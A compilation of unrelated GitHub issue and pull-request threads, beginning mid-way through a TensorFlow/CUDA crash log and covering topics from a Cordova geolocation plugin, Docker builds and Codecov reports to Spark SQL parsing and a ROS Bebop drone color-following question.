2020-07-19 15:24:31.208164: I tensorflow/core/common_runtime/gpu/gpu_device.cc:990]      0
2020-07-19 15:24:31.208176: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1003] 0:   N
2020-07-19 15:24:31.208278: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1115] Created TensorFlow device (/job:localhost/replica:0/task:0/device:GPU:0 with 14241 MB memory) -> physical GPU (device: 0, name: Tesla T4, pci bus id: 0000:00:1e.0, compute capability: 7.5)
2020-07-19 15:24:31.209716: I tensorflow/compiler/xla/service/service.cc:150] XLA service 0x56258c098570 executing computations on platform CUDA. Devices:
2020-07-19 15:24:31.209739: I tensorflow/compiler/xla/service/service.cc:158]   StreamExecutor device (0): Tesla T4, Compute Capability 7.5
2020-07-19 15:24:31.685492: E tensorflow/stream_executor/cuda/cuda_event.cc:48] Error polling for event status: failed to query event: CUDA_ERROR_ILLEGAL_ADDRESS: an illegal memory access was encountered
2020-07-19 15:24:31.685539: F tensorflow/core/common_runtime/gpu/gpu_event_mgr.cc:274] Unexpected Event status: 1
Aborted (core dumped)

I guess that those problems are due to my TensorFlow and CUDA version. Could anyone help me? Thanks a lot!

@xuyifangreeneyes  I successfully run the docker container through this issuseisssue, however when running simple.py after installing blocksparse I had the same problem.I just changed the hidden_size in the simple.py to 4096*2,it crashed.
And I got the same error as you. I wonder if you found a solution.


iOS 8

When backgrounding the app in iOS 8, the background process does not run...and gets killed by the OS.

Are you sure you "location" enabled in background-modes?  Works fine here
On Thursday, February 12, 2015, scgrant327<EMAIL_ADDRESS>wrote:

When backgrounding the app in iOS 8, the background process does not
run...and gets killed by the OS.
—
Reply to this email directly or view it on GitHub
https://github.com/christocracy/cordova-plugin-background-geolocation/issues/144
.

--
Snet from Gmail Mobile

Works fine on iOS 6.1.6...
Using this with Cordova via the Intel XDK dev system.

Try the SampleApp in repo.  See README
On Thursday, February 12, 2015, scgrant327<EMAIL_ADDRESS>wrote:

Works fine on iOS 6.1.6...
Using this with Cordova via the Intel XDK dev system.
—
Reply to this email directly or view it on GitHub
https://github.com/christocracy/cordova-plugin-background-geolocation/issues/144#issuecomment-74154611
.

--
Snet from Gmail Mobile


Follow Location Header Redirects

Originally reported on Google Code with ID 48
What steps will reproduce the problem?
1. Install App
2. Send Request to REST end point which returns a 303 along with a Location Header.
3. Notice that the Rest Client follows the HTTP redirect.

What is the expected output? What do you see instead?
Could an enhancement be made in the options dialog box to disable following redirects
specified in the Location header.

What version of the product are you using? On what operating system?
Latest version as of 2/14/2012

Reported by kevinrs on 2012-02-14 20:00:32

Can we revisit this -- see if it's now possible (2 years later)?  It would make a major impact in my workflow if ARC would simply stop on the first HTTP call.

Hmm. Actually the implementation is there. I don't have UI for that.
I'll add it in v11.

You just gone and made my day. :+1: Happy to help debug when it's ready!

Soo........ when is M11 slated for? :relaxed:

The problem is with additional stuff I have to do when adding anything to the request panel. This case is request settings. If I add this to the panel you'd expect to save this with the request data when saving the request. You also expect it to be restored when recalling the request. Then you'd expect it to be exported to a file and imported back as a setting of the request.
It's just takes a while to build this things since adding as simple option as that it requires several additional changes. Currently my list includes several other changes and when my list clears (I hope week is enough) I will review this issue again.


NOISSUE - Fix building UI docker image for arm

Add entrypoint in arm Dockerfile
Switch from ash to dash in entrypoint script
Signed-off-by: Ivan Milošević<EMAIL_ADDRESS>What does this do?
Fix building of UI docker image for arm architecture
Which issue(s) does this PR fix/relate to?
No issue

Codecov Report

Merging #806 into master will increase coverage by 0.04%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##           master     #806      +/-   ##
==========================================
+ Coverage   85.33%   85.37%   +0.04%
==========================================
  Files          72       72
  Lines        4637     4637
==========================================
+ Hits         3957     3959       +2
+ Misses        452      450       -2
  Partials      228      228

Impacted Files
Coverage Δ

things/service.go
88.02% <0%> (+1.4%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update a3de695...f3993bb. Read the comment docs.


BEAM-1214 fail to run on SparkRunner with VerifyError

Be sure to do all of the following to help us incorporate your contribution
quickly and easily:

[ x] Make sure the PR title is formatted like:
[BEAM-<Jira issue #>] Description of pull request
[ x] Make sure tests pass via mvn clean verify. (Even better, enable
Travis-CI on your fork and ensure the whole test matrix passes).
[x ] Replace <Jira issue #> in the title with the actual Jira issue
number, if there is one.
[ ] If this contribution is large, please file an Apache
Individual Contributor License Agreement.

@amitsela

Coverage decreased (-0.01%) to 69.926% when pulling fbbb76038432dac1c36615770999186e48ecffcf on kobisalant:BEAM-1214-fail-to-run-on-SparkRunner into 603f4fb0493435f4eb451f52fc5c10aa12001486 on apache:master.

LGTM.


"nps init" should not touch core npm script "hooks"

While executing nps init all scripts are moved to nps including nps script "hooks" e.g. "preinstall" or "prepublish". That kind of scripts should be treated same as "test" script - kept in package.json with a conversion of the content of script to nps.
List of hooks we would need to address:
https://docs.npmjs.com/misc/scripts

This is a dupe of #97 :)


docker-compose up not working because of Debian Jessie removal

A few days ago, Debian announced the removal of non-LTS Jessie from their mirrors:
https://lists.debian.org/debian-devel-announce/2019/03/msg00006.html
This now causes problems for namshi/smtp, which is trying to access jessie-updates. I realise that this is an upstream issue that should probably be fixed on namshi/smtp, and I've opened an issue there (https://github.com/namshi/docker-smtp/issues/50), but it might be worth trying to figure out a workaround?

well, this explains what @ggalmazor saw. i'm not sure how to work around this—let's see what they say upstream.

Hey! Looks that there is a solution for this https://github.com/namshi/docker-smtp/pull/51

Fixed by https://github.com/namshi/docker-smtp/pull/51

So, it is just to clone central again and do $ git submodule update -i?  Thanks for your guide.

@hyances It's upstream, so all you should have to do is the docker-compose build.

that's not entirely true.. your machine has a base copy of namshi/smtp sitting around that it thinks is totally up-to-date and it doesn't realize there is a fixed image available.
you may have to run docker rmi namshi/smtp before running docker-compose build.

oh, it's possible you could alternatively run docker pull namshi/smtp, but i'm not completely sure.


Toggle Groups of Roles

Fixes #651
Adds flags to configure to set and unset groups of roles.

I've had a play around with it - I did expect unset_roles to unset all of them. writing out individual roles might as well use -i. The main thing here is that it's annoying after --clean that everything is turned on. I'd like to be able to do ./b configure [--clean] --unset_roles --set_webots_roles to turn on just the webots roles.

@JesseWilliamson I've had a look at this and I think what I missed last time is that --unset_all_roles is a thing.
If I do
./b configure [--clean] --unset_all_roles --set_webots/_roles
it works as I expect
we'll want to remove the trailing / on the folder names

If you're going to set it up like this maybe use glob rules to set and unset too?

If you're going to set it up like this maybe use glob rules to set and unset too?

Added. I'm curious why you said globbing rather than regex? I thought globbing was mostly just used for file names.
Also this kind of makes the other path-based arguments (--set_all_roles, --set_{dir}_roles) redundant, but I will leave them in so globbing isn't required.

Nobody wants to type out regex on the command line as arguments. And most of the time what you need can be represented with a glob. Another option is just to specify the roles you want to build directly as role file arguments. Then you can use the file system and shell to do globbing etc for you


Not able to upload app.py for streamlit example

I was trying to replicate the streamlit example as shown here. But when I am starting the application using modal serve serve_streamlit.py it is giving the following error
Runner failed with exception: RuntimeError('app.py not found! Place the script with your streamlit app in the same directory.')
Traceback (most recent call last):
  File "/pkg/modal/_container_io_manager.py", line 478, in handle_user_exception
    yield
  File "/pkg/modal/_container_entrypoint.py", line 725, in main
    service = import_single_function_service(
              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/pkg/modal/_container_entrypoint.py", line 500, in import_single_function_service
    module = importlib.import_module(function_def.module_name)
             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/lib/python3.11/importlib/__init__.py", line 126, in import_module
    return _bootstrap._gcd_import(name[level:], package, level)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "<frozen importlib._bootstrap>", line 1206, in _gcd_import
  File "<frozen importlib._bootstrap>", line 1178, in _find_and_load
  File "<frozen importlib._bootstrap>", line 1149, in _find_and_load_unlocked
  File "<frozen importlib._bootstrap>", line 690, in _load_unlocked
  File "<frozen importlib._bootstrap_external>", line 940, in exec_module
  File "<frozen importlib._bootstrap>", line 241, in _call_with_frames_removed
  File "/root/serve_streamlit.py", line 46, in <module>
    raise RuntimeError(
RuntimeError: app.py not found! Place the script with your streamlit app in the same directory.

I checked the files of the running container but app.py is not there. I changed the variable streamlit_script_local_path to where the file is situated locally. Kindly assist in figuring out how to put the file in right place.

Hi there! Apologies for the delayed response.
It looks like our example code is still running, so closing this issue -- we use the issues tab here for handling problems with the code in the repo, not for other code. You can get help (much more quickly than here!) in the Modal user Slack, https://modal.com/slack
Hard to say exactly what the issue is, but generally that code will fail if you don't place your local streamlit app file in the same directory as the serve_streamlit.py file and name it app.py.


enhancement/new-sdp-type-public

Description
Makes the NewSDPType function public.

Nice! This PR looks great.
It is failing some of the linters it looks like, mind running these and force pushing this branch again. Thanks @decanus :)

Nice! This PR looks great.
It is failing some of the linters it looks like, mind running these and force pushing this branch again. Thanks @decanus :)

@Sean-Der will do.

@Sean-Der will do.


added workflow for codecov

Signed-off-by: Jan Staschulat<EMAIL_ADDRESS>

Codecov Report

:exclamation: No coverage uploaded for pull request base (master@f5641ad). Click here to learn what that means.
The diff coverage is n/a.

@@            Coverage Diff            @@
##             master      #77   +/-   ##
=========================================
  Coverage          ?   29.56%
=========================================
  Files             ?       27
  Lines             ?     2716
  Branches          ?     1368
=========================================
  Hits              ?      803
  Misses            ?      765
  Partials          ?     1148

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update f5641ad...d8110a0. Read the comment docs.

improve: only for src folders like in https://codecov.io/gh/micro-ROS/rmw-microxrcedds/tree/foxy


chore(config): check for null commit_id in detailed template

Description
Simply does what the title says.
Motivation and Context
Potentially fixes #785
How Has This Been Tested?

Types of Changes

[x] Bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to change)
[ ] Documentation (no code change)
[ ] Refactor (refactoring production code)
[ ] Other

Checklist:

[x] My code follows the code style of this project.
[x] I have updated the documentation accordingly.
[x] I have formatted the code with rustfmt.
[x] I checked the lints with clippy.
[x] I have added tests to cover my changes.
[x] All new and existing tests passed.

:warning: Please install the  to ensure uploads and comments are reliably processed by Codecov.
Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 37.03%. Comparing base (4b33e7e) to head (e2d9308).
Report is 2 commits behind head on main.

:exclamation: Your organization needs to install the Codecov GitHub app to enable full functionality.
Additional details and impacted files
@@           Coverage Diff           @@
##             main     #786   +/-   ##
=======================================
  Coverage   37.03%   37.03%
=======================================
  Files          20       20
  Lines        1542     1542
=======================================
  Hits          571      571
  Misses        971      971

Flag
Coverage Δ

unit-tests
37.03% <ø> (ø)

Flags with carried forward coverage won't be shown. Click here to find out more.

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


How to control the Preview style / theme?

The generated html (from markdown) is separate entity from the original page (that is holding the editor).
Right now, the generated preview is inheriting the styles from the "editor-container-page", for the lack of better word. But if the preview need to be viewed with a different style (css link), would this support such a scenario?

Here is one example http://vuejs.org/examples/ where they are achieving preview styling and also non-full-screen side-by-side previews. Perhaps its implementation can give some pointers.

You'd need to apply styling to the preview dividers yourself.


A single Pulumi update triggers multiple full deployments

This is really slowing things down a lot: a single Pulumi project can have several services declared in it. When deployed, each will call Update RPC, causing a deployment. In the end the CD will get triggered N times, even though each invocation deploys all services.
One service resource corresponds to a single Pulumi provider instance, which takes care of all the check/create/update/delete/diff for that one service. There's nothing that it has in common with all the other service/provider instances, so no easy way to combine those calls. We could "debounce" calls to update and combine them server side by delaying each update by 1 second or so. Or we could simply include a flag in each update that tells the backend to hold off on calling the CI/CD until we update the "last" service, but how to know which one's last?

Fixed by #35


Fixed instructions for ES6: Set Default Parameters

Pre-Submission Checklist

[x] Your pull request targets the staging branch of freeCodeCamp.
[x] Branch starts with either fix/, feature/, or translate/ (e.g. fix/signin-issue)
[x] You have only one commit (if not, squash them into one commit).
[x] All new and existing tests pass the command npm test. Use git commit --amend to amend any fixes.

Type of Change

[x] Small bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds new functionality)
[ ] Breaking change (fix or feature that would change existing functionality)
[ ] Add new translation (feature adding new translations)

Checklist:

[x] Tested changes locally.
[x] Closes currently open issue (replace XXXX with an issue no): Closes #13903

Description

Modified the misleading instructions from "Modify the function increment by adding default parameters so it will always return a valid number and it will add 1 to number if value is not specified." to "Modify the function increment by adding default parameters so that it will add 1 to number if value is not specified." as per instructions.

Hi there!
I have a question, how can I upload the exercises that I have been doing in my Github account?
Thank you for your answer.
Best regards,
Ana Benites

El 11 may. 2017, a las 8:03 p.m., Jia Kim<EMAIL_ADDRESS>escribió:
Pre-Submission Checklist
Your pull request targets the staging branch of freeCodeCamp.
Branch starts with either fix/, feature/, or translate/ (e.g. fix/signin-issue)
You have only one commit (if not, squash http://forum.freecodecamp.com/t/how-to-squash-multiple-commits-into-one-with-git/13231 them into one commit).
All new and existing tests pass the command npm test. Use git commit --amend to amend any fixes.
Type of Change
Small bug fix (non-breaking change which fixes an issue)
New feature (non-breaking change which adds new functionality)
Breaking change (fix or feature that would change existing functionality)
Add new translation (feature adding new translations)
Checklist:
Tested changes locally.
Closes currently open issue (replace XXXX with an issue no): Closes #13903 https://github.com/freeCodeCamp/freeCodeCamp/issues/13903
Description
Modified the misleading instructions from "Modify the function increment by adding default parameters so it will always return a valid number and it will add 1 to number if value is not specified." to "Modify the function increment by adding default parameters so that it will add 1 to number if value is not specified." as per instructions.
You can view, comment on, or merge this pull request online at:
https://github.com/freeCodeCamp/freeCodeCamp/pull/14830 https://github.com/freeCodeCamp/freeCodeCamp/pull/14830
Commit Summary
Fixed instructions for ES6: Set Default Parameters
File Changes
M seed/challenges/02-javascript-algorithms-and-data-structures/es6.json https://github.com/freeCodeCamp/freeCodeCamp/pull/14830/files#diff-0 (2)
Patch Links:
https://github.com/freeCodeCamp/freeCodeCamp/pull/14830.patch https://github.com/freeCodeCamp/freeCodeCamp/pull/14830.patch
https://github.com/freeCodeCamp/freeCodeCamp/pull/14830.diff https://github.com/freeCodeCamp/freeCodeCamp/pull/14830.diff
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub https://github.com/freeCodeCamp/freeCodeCamp/pull/14830, or mute the thread https://github.com/notifications/unsubscribe-auth/AO25S4Mj6RmeDu_ijFZzUvZWK7IGJThUks5r46_agaJpZM4NYudD.

@anitabenites you are in wrong place to ask a question. sorry. You could go to freecodecamp chat room or forum for ask a question.
have a nice day!

@jiakim Tested locally and LGTM. Thanks for making this fix and congrats on your first contribution to freeCodeCamp! 👍 💯 🌮


Add imageFrameCount

Refs. #1645
What it does
This PR adds the property imageFrameCount to the a KFCrossPlatformImage. This property is an optional Int and it's set by default when an animated image is created. Since the KFCrossPlatformImage already stores an imageSource we can retrieve easily the frame count and store it.
This property is the equivalent of animatedImageFrameCount used in SDAnimatedImage
I didn't set the property as read only to give the possibility to custom processors to also set the value.
How to test

Unit test should be 🟢

@onevcat not sure why CI is failing on
KingfisherManagerTests.testRetrievingAlternativeSourceCanCancelUpdatedTask()
KingfisherManagerTests.testRetrievingAlternativeSourceCanCancelUpdatedTask()

All tests are passing locally for me

Hi, thanks for it. It looks nice.
The failing tests are due to a CI performance issue on feature tests. I will see what I can do.

Thanks @onevcat ! CI is all 🟢 now!


[SPARK-30679][SQL] REPLACE TABLE can omit the USING clause

What changes were proposed in this pull request?

This PR updates the parser rule to allow REPLACE TABLE statement to omit the USING clause.
This is extracted from https://github.com/apache/spark/pull/27345
Why are the changes needed?

CREATE TABLE can omit the USING clause, and REPLACE TABLE should be consistent.
Does this PR introduce any user-facing change?

yes, now it's easier to write REPLACE TABLE command.
How was this patch tested?

a new test

retest this please

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder-K8s/22520/
Test PASSed.

Merged build finished. Test FAILed.

Test FAILed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/117758/
Test FAILed.

retest this please

Test build #118619 has started for PR 27402 at commit 647851c.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder-K8s/23372/
Test PASSed.

Test build #118619 has finished for PR 27402 at commit 647851c.

This patch fails due to an unknown error code, -9.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test FAILed.

Test FAILed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/118619/
Test FAILed.

It's not a breaking change to allow to omit the provider in REPLACE TABLE, so I'll leave it to 3.1.
The CREATE TABLE behavior should be fixed before 3.0: https://github.com/apache/spark/pull/27650

Test build #123361 has started for PR 27402 at commit 647851c.

Build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder-K8s/27981/
Test PASSed.

Test build #123361 has finished for PR 27402 at commit 647851c.

This patch fails Spark unit tests.
This patch does not merge cleanly.
This patch adds no public classes.

Build finished. Test FAILed.

Test FAILed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/123361/
Test FAILed.


Como podria editar el codigo de follow_color

Como podria hacer para que siga rectangulos negros colocados es un circuito de forma de infinito, seria algo asi como detecto el rectangulo, avanzo, detecto otro rectangulo avanzo, como le podria hacer o algun tutorial que me recomiendes

Okay, I'm sorry, only English understood, I have a problem in following the color, when I click on the color I want to follow, I begin to detect other objects and the drone becomes unstable, which parameter in code should move? As I would like to know how to reduce the angle of detection, I believe this? Is the measurement me in mm or cm? Thanks in advance
const double max_obj_area = 100000; 	//Maximum area reference of the object
const double min_obj_area = 690; //Minimum area reference of the object

Oh nice, I'm documenting ROI.
A question that means the number you go after takeoff? The height in mm?
takeoff_bebop = nh_.advertise<std_msgs::Empty>("/bebop/takeoff",1000); //Publish data to the take-off topic
One more question, how can I move the camera so that it points to the ground?  Try with
rostopic pub -r 1 /bebop/camera_control geometry_msgs/Twist -- '[0.0, 0.0, 0.0]' '[0.0,0.5,0.0]'
but it did not work

You might want to take a look to the variables at the ROS wiki (Empty and Twist) also, I'd like to remind you that this repository uses Bebop Autonomy as dependency with its limits, the take off height is already set into the drone by the original firmware and also some actions may not be performed until the drone is flying (e.g. the lecture from the ultrasonic sensor)

From: josueom18<EMAIL_ADDRESS>Sent: Wednesday, October 24, 2018 5:10:13 PM
To: TOTON95/Bebop_ROS_Examples
Cc: Alexis Guijarro; Comment
Subject: Re: [TOTON95/Bebop_ROS_Examples] Como podria editar el codigo de follow_color (#3)
Oh nice, I'm documenting ROI.
A question that means the number you go after takeoff? The height in mm?
takeoff_bebop = nh_.advertise<std_msgs::Empty>("/bebop/takeoff",1000); //Publish data to the take-off topic
One more question, how can I move the camera so that it points to the ground? Try with
rostopic pub -r 1 /bebop/camera_control geometry_msgs/Twist -- '[0.0, 0.0, 0.0]' '[0.0,0.5,0.0]'
but it did not work
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHubhttps://github.com/TOTON95/Bebop_ROS_Examples/issues/3#issuecomment-432845717, or mute the threadhttps://github.com/notifications/unsubscribe-auth/ARc4aYK96C6YdniOTNgU68UcyQTM-X1xks5uoOVFgaJpZM4X3QXl.

Hello friend, the state reviewing the code and every day, entering more, achieve, follow, a dotted line, in a straight line, however, the circuit has the form of 8 (finfinite), I could help implement the part of the turn in your own axis, here I will attach the modifications you make. or what would be the conditional to use?
`void move_drone(cv::Mat& image)
{
if (posX >= 0 && posY >= 0)
{
	if (posX = drone_center.x)
	{
		cmd_vel_bebop.angular.x = bebop_forward;
		std::cout << "Mover enfrente" << std::endl;
	}
	if (posX < drone_center.x)
	{
		cmd_vel_bebop.angular.z = bebop_turn_velocity;
		std::cout << "Move Left" << std::endl;
	}
	if (posX > drone_center.x)
	{
		cmd_vel_bebop.angular.z = -bebop_turn_velocity;
		std::cout << "Move Right" << std::endl;
	}
	if (posY > drone_center.y)
	{
		cmd_vel_bebop.linear.z = -bebop_velocity;
		std::cout << "Move Downwards" << std::endl;
	}
	if (posY <  drone_center.y)
	{
		cmd_vel_bebop.linear.z = bebop_velocity;
		std::cout << "Move Upwards" << std::endl;
	}
	if(tracking_system_armed)
	{
		cv::circle(image, cv::Point(posX, posY), 8, cv::Scalar(0, 255, 0), -1);
	}
	if(!tracking_system_armed)
	{
		cv::circle(image, cv::Point(posX, posY), 8, cv::Scalar(0, 255, 255), -1);
	}

}`

So, you may want to add that modification? If so, please make a fork of this repository (Bebop_ROS_Examples, branch improvements, not the master one) , then upload your modification to your own repository and make a pull request (PR), so, in that way your contribution will be noticed by everyone.
And even add your own example if you want to release it to the community.
P.s. I know that it may be a long process but it is the way to properly recognize your contribution.
Thanks in advance.